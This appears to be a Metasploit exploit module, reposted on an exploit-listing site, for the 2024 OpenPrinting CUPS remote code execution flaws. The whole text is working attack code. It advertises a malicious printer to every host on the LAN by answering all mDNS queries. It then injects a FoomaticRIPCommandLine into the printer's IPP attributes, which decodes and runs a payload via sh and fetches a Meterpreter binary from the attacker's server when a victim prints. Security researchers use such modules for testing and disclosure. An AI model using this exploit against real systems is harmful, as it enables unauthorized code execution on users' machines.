Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-MISC-CUPS_IPP_REMOTE_CODE_EXECUTION-
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Exploit::Remote::DNS::Common
  include Exploit::Remote::SocketServer
  include Msf::Exploit::Remote::HttpServer::HTML

  # Accessor for IPP HTTP service
  attr_accessor :service2

  MULTICAST_ADDR = '224.0.0.251'

  # Define IPP constants
  module TagEnum
    UNSUPPORTED_VALUE = 0x10

    UNKNOWN_VALUE = 0x12
    NO_VALUE = 0x13

    # Integer types
    INTEGER = 0x21
    BOOLEAN = 0x22
    ENUM = 0x23

    # String types
    OCTET_STR = 0x30
    DATETIME_STR = 0x31
    RESOLUTION = 0x32
    RANGE_OF_INTEGER = 0x33
    TEXT_WITH_LANGUAGE = 0x35
    NAME_WITH_LANGUAGE = 0x36

    TEXT_WITHOUT_LANGUAGE = 0x41
    NAME_WITHOUT_LANGUAGE = 0x42
    KEYWORD = 0x44
    URI = 0x45
    URI_SCHEME = 0x46
    CHARSET = 0x47
    NATURAL_LANGUAGE = 0x48
    MIME_MEDIA_TYPE = 0x49
  end

  # Define IPP printer operations
  module OperationEnum
    # https://tools.ietf.org/html/rfc2911#section-4.4.15
    PRINT_JOB = 0x0002
    VALIDATE_JOB = 0x0004
    CANCEL_JOB = 0x0008
    GET_JOB_ATTRIBUTES = 0x0009
    GET_JOBS = 0x000a
    GET_PRINTER_ATTRIBUTES = 0x000b

    # 0x4000 - 0xFFFF is for extensions
    # CUPS extensions listed here:
    # https://web.archive.org/web/20061024184939/http://uw714doc.sco.com/en/cups/ipp.html
    CUPS_GET_DEFAULT = 0x4001
    CUPS_LIST_ALL_PRINTERS = 0x4002
  end

  module JobStateEnum
    # https://tools.ietf.org/html/rfc2911#section-4.3.7
    PENDING = 3 # AKA "IDLE"
    PENDING_HELD = 4
    PROCESSING = 5
    PROCESSING_STOPPED = 6
    CANCELED = 7
    ABORTED = 8
    COMPLETED = 9
  end

  # Define IPP section constants
  module SectionEnum
    SECTIONS = 0x00
    SECTIONS_MASK = 0xf0
    OPERATION = 0x01
    JOB = 0x02
    ENDTAG = 0x03 # Changed from END
    PRINTER = 0x04
    UNSUPPORTED = 0x05
  end

  class MulticastComm < Rex::Socket::Comm::Local
    # hax by spencer to set the socket options for handling multicast using the native APIs (as opposed to Rex::Socket)
    # without this in place, the module won't work on a system with multiple network interfaces
    def self.create_by_type(param, type, proto = 0)
      socket = super
      socket.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
      socket.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_MULTICAST_TTL, 255)

      membership = IPAddr.new(MULTICAST_ADDR).hton + IPAddr.new('0.0.0.0').hton
      socket.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, membership)
      socket
    end

  end

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'CUPS IPP Attributes LAN Remote Code Execution',
        'Description' => %q{
          This module exploits vulnerabilities in OpenPrinting CUPS, which is running by
          default on most Linux distributions. The vulnerabilities allow an attacker on
          the LAN to advertise a malicious printer that triggers remote code execution
          when a victim sends a print job to the malicious printer. Successful exploitation
          requires user interaction, but no CUPS services need to be reachable via accessible
          ports. Code execution occurs in the context of the lp user. Affected versions
          are cups-browsed <= 2.0.1, libcupsfilters <= 2.1b1, libppd <= 2.1b1, and
          cups-filters <= 2.0.1.
        },
        'Author' => [
          # Original researcher
          'Simone Margaritelli',
          # Public exploit
          'Rick de Jager',
          # IPP server implementation based on Python's ipp-server
          'David Batley',
          # mDNS functionality
          'Spencer McIntyre',
          'RageLtMan <rageltman[at]sempervictus>',
          # Metasploit module
          'Ryan Emmons'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          # The relevant CUPS CVE identifiers
          ['CVE', '2024-47076'],
          ['CVE', '2024-47175'],
          ['CVE', '2024-47177'],
          ['CVE', '2024-47176'],
          # The initial researcher publication
          ['URL', 'https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/'],
          # The public exploit this module was inspired by
          ['URL', 'https://github.com/RickdeJager/cupshax'],
          # The cups-browsed GitHub security advisory
          ['URL', 'https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8'],
          # The libcupsfilters GitHub security advisory
          ['URL', 'https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5'],
          # The libppd GitHub security advisory
          ['URL', 'https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6'],
          # The cups-filters GitHub security advisory
          ['URL', 'https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47'],
          # The IPP server implementation this module is based on
          ['URL', 'https://github.com/h2g2bob/ipp-server/']
        ],
        # Executes as 'lp' on most Linux distributions
        'Privileged' => false,
        'Targets' => [['Default', {}]],
        'Platform' => %w[linux unix],
        'Arch' => [ARCH_CMD],
        'DefaultOptions' => {
          'FETCH_COMMAND' => 'WGET',
          'FETCH_WRITABLE_DIR' => '/var/tmp'
        },
        'Stance' => Msf::Exploit::Stance::Passive,
        'DefaultAction' => 'Service',
        'DefaultTarget' => 0,
        'DisclosureDate' => '2024-09-26',
        'Notes' => {
          # There's a small chance the fake printer may flag as "broken" after one execution
          # If this happens, other victims on the LAN will still be susceptible to code execution
          # However, this *shouldn't* happen :)
          'Stability' => [CRASH_SAFE],
          # Requires a user to send a print job to the malicious printer to trigger RCE
          'Reliability' => [EVENT_DEPENDENT],
          'SideEffects' => [
            # /var/log/cups/error_log will likely contain the payload, IPP server details, and printer name
            # /var/log/cups/access_log will contain the IPP server details and printer name
            IOC_IN_LOGS,
            # The /tmp directory will likely contain a file called "foomatic-" + five random characters
            # This file is a PDF owned by 'lp', and it's the content that the victim user tried to print
            ARTIFACTS_ON_DISK
          ]
        }
      )
    )

    register_options(
      [
        OptString.new('PrinterName', [true, 'The printer name', 'PrintToPDF'], regex: /^[a-zA-Z0-9_ ]+$/),
        OptAddress.new('SRVHOST', [true, 'The local host to listen on (cannot be 0.0.0.0)']),
        OptPort.new('SRVPORT', [true, 'The local port for the IPP service', 7575])
      ]
    )
  end

  def validate
    super

    if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
      raise Msf::OptionValidateError.new({ 'SRVHOST' => 'The SRVHOST option must be set to a routable IP address.' })
    end

    # Rex::Socket does not support forwarding UDP multicast sockets right now so raise an exception if that's configured
    unless _determine_server_comm(datastore['SRVHOST']) == Rex::Socket::Comm::Local
      raise Msf::OptionValidateError.new({ 'SRVHOST' => 'SRVHOST can not be forwarded via a session.' })
    end
  end

  #
  # Wrapper for service execution and cleanup
  #
  def exploit
    @printer_uuid = SecureRandom.uuid
    start_mdns_service
    start_ipp_service
    print_status("Services started. Printer '#{datastore['PrinterName']}' is being advertised")
    service.wait
  rescue Rex::BindFailed => e
    print_error "Failed to bind to port: #{e.message}"
  end

  # mDNS code below
  def start_mdns_service
    self.service = Rex::ServiceManager.start(
      Rex::Proto::MDNS::Server,
      '0.0.0.0',
      5353,
      false,
      nil,
      MulticastComm,
      { 'Msf' => framework, 'MsfExploit' => self }
    )

    service.dispatch_request_proc = proc do |cli, data|
      on_dispatch_mdns_request(cli, data)
    end
    service.send_response_proc = proc do |cli, data|
      on_send_mdns_response(cli, data)
    end
  rescue ::Errno::EACCES => e
    raise Rex::BindFailed, e.message
  end

  def create_ipp_response(version_major, version_minor, request_id)
    # Printer attributes
    attributes = {}

    # Creating an MVP ("Minimum Viable Printer")

    # charset
    attributes[[SectionEnum::PRINTER, 'attributes-configured', TagEnum::CHARSET]] = ['utf-8']

    # charset
    attributes[[SectionEnum::PRINTER, 'attributes-supported', TagEnum::CHARSET]] = ['utf-8']

    # keyword
    attributes[[SectionEnum::PRINTER, 'compression-supported', TagEnum::KEYWORD]] = ['none']

    # mimeMediaType
    attributes[[SectionEnum::PRINTER, 'document-format-default', TagEnum::MIME_MEDIA_TYPE]] = ['application/pdf']

    # mimeMediaType
    attributes[[SectionEnum::PRINTER, 'document-format-supported', TagEnum::MIME_MEDIA_TYPE]] = ['application/pdf']

    # naturalLanguage
    attributes[[SectionEnum::PRINTER, 'generated-natural-language-supported', TagEnum::NATURAL_LANGUAGE]] = ['en']

    # keyword
    attributes[[SectionEnum::PRINTER, 'ipp-versions-supported', TagEnum::KEYWORD]] = ['1.1']

    # keyword
    attributes[[SectionEnum::PRINTER, 'media-default', TagEnum::KEYWORD]] = ['iso_a4_210x297mm']

    # keyword
    attributes[[SectionEnum::PRINTER, 'media-supported', TagEnum::KEYWORD]] = ['iso_a4_210x297mm']

    # keyword
    attributes[[SectionEnum::PRINTER, 'media-type', TagEnum::KEYWORD]] = ['stationery']

    enc_payload = Rex::Text.encode_base64(payload.encoded)

    # 1setOf keyword
    attributes[[SectionEnum::PRINTER, 'media-type-supported', TagEnum::KEYWORD]] = [
      'stationery',
      # Here's our base64-encoded fetch payload, which will grab a Meterpreter binary from our stager HTTP server
      ": HAX\n*FoomaticRIPCommandLine: echo -n #{enc_payload}|base64 -d|sh;#\n*cupsFilter2: \"application/vnd.cups-pdf application/pdf 0 foomatic-rip\"\n*%"
    ]

    # naturalLanguage
    attributes[[SectionEnum::PRINTER, 'natural-language-configured', TagEnum::NATURAL_LANGUAGE]] = ['en']

    # 1setOf enum
    attributes[[SectionEnum::PRINTER, 'document-format-supported', TagEnum::ENUM]] = [
      OperationEnum::PRINT_JOB,
      OperationEnum::VALIDATE_JOB,
      OperationEnum::CANCEL_JOB,
      OperationEnum::GET_JOB_ATTRIBUTES,
      OperationEnum::GET_PRINTER_ATTRIBUTES
    ]

    # keyword
    attributes[[SectionEnum::PRINTER, 'pdl-override-supported', TagEnum::KEYWORD]] = ['not-attempted']

    # textWithoutLanguage
    attributes[[SectionEnum::PRINTER, 'printer-info', TagEnum::TEXT_WITHOUT_LANGUAGE]] = ['Printer']

    # textWithoutLanguage
    attributes[[SectionEnum::PRINTER, 'printer-make-and-model', TagEnum::TEXT_WITHOUT_LANGUAGE]] = ['Printer 1.00']

    # nameWithoutLanguage
    attributes[[SectionEnum::PRINTER, 'printer-name', TagEnum::NAME_WITHOUT_LANGUAGE]] = ['Printer']

    # enum
    attributes[[SectionEnum::PRINTER, 'printer-state', TagEnum::ENUM]] = [JobStateEnum::PENDING] # AKA IDLE

    # keyword
    attributes[[SectionEnum::PRINTER, 'printer-state-reasons', TagEnum::KEYWORD]] = ['none']

    # integer
    attributes[[SectionEnum::PRINTER, 'pdl-override-supported', TagEnum::INTEGER]] = [Time.now.to_i]

    # uri
    attributes[[SectionEnum::PRINTER, 'printer-uri-supported', TagEnum::URI]] = ['ipp://localhost:631/printer']

    # keyword
    attributes[[SectionEnum::PRINTER, 'uri-authentication-supported', TagEnum::KEYWORD]] = ['none']

    # keyword
    attributes[[SectionEnum::PRINTER, 'uri-security-supported', TagEnum::KEYWORD]] = ['none']

    # Create response, imitating ipp-server's 'to_file' function

    # Pack the version
    response = [version_major, version_minor].pack('C*')

    # Pack the 2-byte status code
    response << [0x0000].pack('n')

    # Pack the 4-byte request ID
    response << [request_id].pack('N')

    # Group the above defined attributes by section (we use the PRINTER section for the payload)
    attributes.group_by { |k, _v| k[0] }.each do |section, attrs_in_section|
      response << [section].pack('C')

      attrs_in_section.each do |key, values|
        _section, name, tag = key
        values.each_with_index do |value, i|
          response << [tag].pack('C')
          if i == 0
            response << [name.length].pack('n')
            response << name
          else
            response << [0].pack('n')
          end

          # Make sure non-string values work by packing as four bytes (should work for all ints)
          if value.is_a?(Integer)
            response << [4].pack('n')
            response << [value].pack('N')
          else
            # Packing strings
            response << [value.length].pack('n')
            response << value
          end
        end
      end
    end

    # Close out attributes with an ENDTAG
    response << [SectionEnum::ENDTAG].pack('C')

    response
  end

  #
  # IPP servers communicate using a binary protocol via HTTP
  #
  def start_ipp_service
    # Start the IPP web service
    self.service2 = Rex::ServiceManager.start(
      Rex::Proto::Http::Server,
      srvport,
      srvhost,
      false,
      { 'Msf' => framework, 'MsfExploit' => self },
      Rex::Socket::Comm::Local
    )

    # Register a route for queries to the printer
    service2.add_resource('/ipp/print',
                          'Proc' => proc do |cli, req|
                            case req.method
                            # Some printers perform an initial GET request before the exploitable POST request
                            # We serve up agreeable placeholder data for that initial request
                            when 'GET'
                              # Send HTTP response data
                              ppd_content = ppd_out
                              send_response(cli, ppd_content,
                                            'Content-Type' => 'application/postscript')

                            # When the victim system interacts with our printer, a POST request will be received
                            when 'POST'
                              # When VERBOSE is true, all request bytes will be printed
                              vprint_status("Received IPP request: #{req.body.bytes.map do |b|
                                format('%02x', b)
                              end.join(' ')}")
                              data = req.body.bytes
                              return if data.length < 8

                              # Extract version, operation, and request ID from the request to print in VERBOSE mode
                              version_major = data[0]
                              version_minor = data[1]
                              operation_id = (data[2] << 8) | data[3]
                              request_id = (data[4] << 24) | (data[5] << 16) | (data[6] << 8) | data[7]

                              vprint_status("IPP Version: #{version_major}.#{version_minor}, Operation: 0x#{operation_id.to_s(16)}, Request ID: #{request_id}")

                              # Respond to the IPP request to confirm the printer is a valid target and inject the malicious payload
                              response = create_ipp_response(version_major, version_minor, request_id)

                              send_response(cli, response,
                                            'Content-Type' => 'application/ipp',
                                            'Content-Length' => response.length.to_s)
                            end
                          rescue StandardError => e
                            vprint_error('An error occurred while processing an IPP request')
                            vprint_error("IPP Error is #{e.class} - #{e.message}")
                            vprint_error(e.backtrace.join("\n").to_s)
                            raise e
                          end,
                          'Path' => '/ipp/print')

    print_status("IPP service started on #{Rex::Socket.to_authority(srvhost, srvport)}")
  rescue Rex::BindFailed => e
    vprint_error("Failed to bind IPP web service to #{Rex::Socket.to_authority(srvhost, srvport)}")
    raise e
  end

  #
  # Printer info for victim systems that require an initial GET request.
  #
  def ppd_out
    <<~PPD
      *PPD-Adobe: "4.3"
      *FormatVersion: "4.3"
      *FileVersion: "1.0"
      *LanguageVersion: English
      *LanguageEncoding: ISOLatin1
      *PCFileName: "#{datastore['PrinterName']}.PPD"
      *Manufacturer: "#{datastore['PrinterName']}"
      *Product: "(#{datastore['PrinterName']})"
      *ModelName: "#{datastore['PrinterName']}"
      *ShortNickName: "#{datastore['PrinterName']}"
      *NickName: "#{datastore['PrinterName']}"
      *PSVersion: "(3010.000) 0"
      *LanguageLevel: "3"
      *ColorDevice: True
      *DefaultColorSpace: RGB
      *FileSystem: False
      *Throughput: "1"
      *LandscapeOrientation: Plus90
      *TTRasterizer: Type42
      *cupsVersion: 1.4
      *cupsModelNumber: 1
      *cupsManualCopies: True
      *cupsFilter: "application/vnd.cups-postscript 0 -"
      *cupsFilter: "application/vnd.cups-pdf 0 -"
      *OpenUI *PageSize/Media Size: PickOne
      *DefaultPageSize: Letter
      *PageSize Letter: "<</PageSize[612 792]/ImagingBBox null>>setpagedevice"
      *CloseUI: *PageSize
      *DefaultImageableArea: Letter
      *ImageableArea Letter: "0 0 612 792"
      *DefaultPaperDimension: Letter
      *PaperDimension Letter: "612 792"
    PPD
  end

  #
  # Creates Proc to handle incoming requests
  #
  def on_dispatch_mdns_request(cli, data)
    # Handle empty mDNS data
    return if data.strip.empty?

    # Encode the incoming packet as a Dnsruby message
    req = Packet.encode_drb(data)

    # Ignore responses
    return if req.header.qr

    # Print the incoming request in VERBOSE mode (will produce a lot of output)
    peer = Rex::Socket.to_authority(cli.peerhost, cli.peerport)
    asked = req.question.map(&:qname).map(&:to_s).join(', ')
    vprint_status("Received request for #{asked} from #{peer}")

    # Assign printer name variables for mDNS responses
    printer_name = datastore['PrinterName']
    printer_name_no_space = printer_name.gsub(/ /, '')
    ipp_printer_name = "#{printer_name_no_space}._ipp._tcp.local"

    # A draft approach was to advertise our malicious printer by selectively responding only to _ipp and _printer queries
    # However, that requires the victim to search for new printers, which doesn't happen on most systems during a print dialog (it requires Settings->Printers->"Add Printer" on Ubuntu)
    # Also, different distributions seem to have different flows for that, which made the approach unreliable
    # So, instead of that, we just spray responses to every single mDNS query within the multicast domain to automatically populate the victim's printer list with our malicious printer
    return unless req.question.first

    # PTR record
    req.add_answer(Dnsruby::RR.create(
      name: '_ipp._tcp.local.',
      type: 'PTR',
      # Keeping TTL low because ghost records from previous module runs will hang the Linux printer selection window for ~30 seconds, impeding exploitation
      # Since we're spraying advertisements in response to everything, low TTL shouldn't be an issue
      ttl: 30,
      domainname: "#{ipp_printer_name}."
    ))
    # A record for our printer
    # All of these answers seem to need to be additional record answers, not just answers
    req.add_additional(Dnsruby::RR.create(
      name: "#{printer_name_no_space}.local.",
      type: 'A',
      ttl: 30,
      # The IP address of our malicious HTTP IPP service
      address: datastore['SRVHOST']
    ))

    # SRV record
    req.add_additional(Dnsruby::RR.create(
      name: "#{ipp_printer_name}.",
      type: 'SRV',
      ttl: 30,
      priority: 0,
      weight: 0,
      # The port of our malicious HTTP IPP service
      port: datastore['SRVPORT'],
      target: "#{printer_name_no_space}.local."
    ))

    # TXT record
    req.add_additional(Dnsruby::RR.create(
      name: "#{ipp_printer_name}.",
      type: 'TXT',
      ttl: 30
    ).tap do |rr|
      rr.strings = [
        'txtvers=1',
        'qtotal=1',
        'rp=ipp/print',
        "ty=#{printer_name}",
        'pdl=application/postscript,application/pdf',
        # The "adminurl" value may or may not be queried, depending on the victim type
        # Points to our malicious HTTP IPP service
        "adminurl=http://#{Rex::Socket.to_authority(srvhost, srvport)}",
        'priority=0',
        'color=T',
        'duplex=T',
        # Unique UUID to avoid printer collision from multiple runs with the same configuration
        "UUID=#{@printer_uuid}"
      ]
    end)

    # NSEC record, seems to be required, should be additional answer type
    req.add_additional(Dnsruby::RR.create(
      name: "#{ipp_printer_name}.",
      type: 'NSEC',
      ttl: 30,
      next_domain: "#{ipp_printer_name}.",
      types: 'AAAA'
    ))

    # Indicate our mDNS message is a query response
    req.header.qr = 1
    # In response messages for Multicast domains, the Authoritative Answer bit MUST be set to one
    # https://datatracker.ietf.org/doc/html/rfc6762
    req.header.aa = 1

    # Clear questions and update counts for our response
    req.question.clear
    req.update_counts

    # Encode and send response
    response_data = Packet.generate_response(req).encode

    service.send_response(cli, response_data)
  end

  #
  # Creates Proc to handle outbound responses
  #
  def on_send_mdns_response(cli, data)
    # Log to console in VERBOSE mode, then write response
    vprint_status("Sending response to #{Rex::Socket.to_authority(cli.peerhost, cli.peerport)}")
    cli.write(data)
  end

  def cleanup
    super

    if service2
      # Remove the IPP resource before stopping the HTTP service
      service2.remove_resource('/ipp/print')
      service2.stop
      self.service2 = nil
    end

    return unless service

    # Stop the mDNS service
    service.stop
    self.service = nil
  end
end